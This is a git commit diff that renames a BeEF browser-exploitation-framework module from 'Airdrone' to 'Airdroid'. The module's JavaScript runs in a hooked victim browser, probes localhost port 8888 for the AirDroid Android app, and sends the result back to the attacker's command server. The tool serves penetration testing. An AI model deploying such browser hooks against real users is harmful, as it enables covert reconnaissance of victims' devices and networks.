Rename Airdrone module to Airdroid

This commit is contained in:
Brendan Coles
2016-01-13 22:47:33 +00:00
parent f3f04a50ca
commit fc12c61e5f
3 changed files with 10 additions and 10 deletions

View File

@@ -12,11 +12,11 @@ beef.execute(function() {
img.src = "http://<%= @ipHost %>:<%= @port %>/theme/stock/images/ip_auth_refused.png";
img.onload = function() {
if (this.width == 146 && this.height == 176) result = "Installed";
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdrone='+result, beef.are.status_success());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_success());
dom.removeChild(this);
}
img.onerror = function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdrone='+result, beef.are.status_error());
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_error());
dom.removeChild(this);
}
dom.appendChild(img);

View File

@@ -5,11 +5,11 @@
#
beef:
module:
detect_airdrone:
detect_airdroid:
enable: true
category: "Host"
name: "Detect Airdrone"
description: "This module attempts to detect Airdrone on localhost (default port: 8888)"
name: "Detect Airdroid"
description: "This module attempts to detect Airdroid application for Android running on localhost (default port: 8888)"
authors: ["bcoles"]
target:
working:

View File

@@ -4,7 +4,7 @@
# See the file 'doc/COPYING' for copying permission
#
class Detect_airdrone < BeEF::Core::Command
class Detect_airdroid < BeEF::Core::Command
def self.options
return [
@@ -14,18 +14,18 @@ class Detect_airdrone < BeEF::Core::Command
end
def post_execute
save({'airdrone' => @datastore['airdrone']})
save({'airdroid' => @datastore['airdroid']})
configuration = BeEF::Core::Configuration.instance
if configuration.get("beef.extension.network.enable") == true
if @datastore['results'] =~ /^proto=(https?)&ip=([\d\.]+)&port=([\d]+)&airdrone=Installed$/
if @datastore['results'] =~ /^proto=(https?)&ip=([\d\.]+)&port=([\d]+)&airdroid=Installed$/
proto = $1
ip = $2
port = $3
session_id = @datastore['beefhook']
type = 'Airdrone'
type = 'Airdroid'
if BeEF::Filters.is_valid_ip?(ip)
print_debug("Hooked browser found 'Airdrone' [proto: #{proto}, ip: #{ip}, port: #{port}]")
print_debug("Hooked browser found 'Airdroid' [proto: #{proto}, ip: #{ip}, port: #{port}]")
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type)
end
end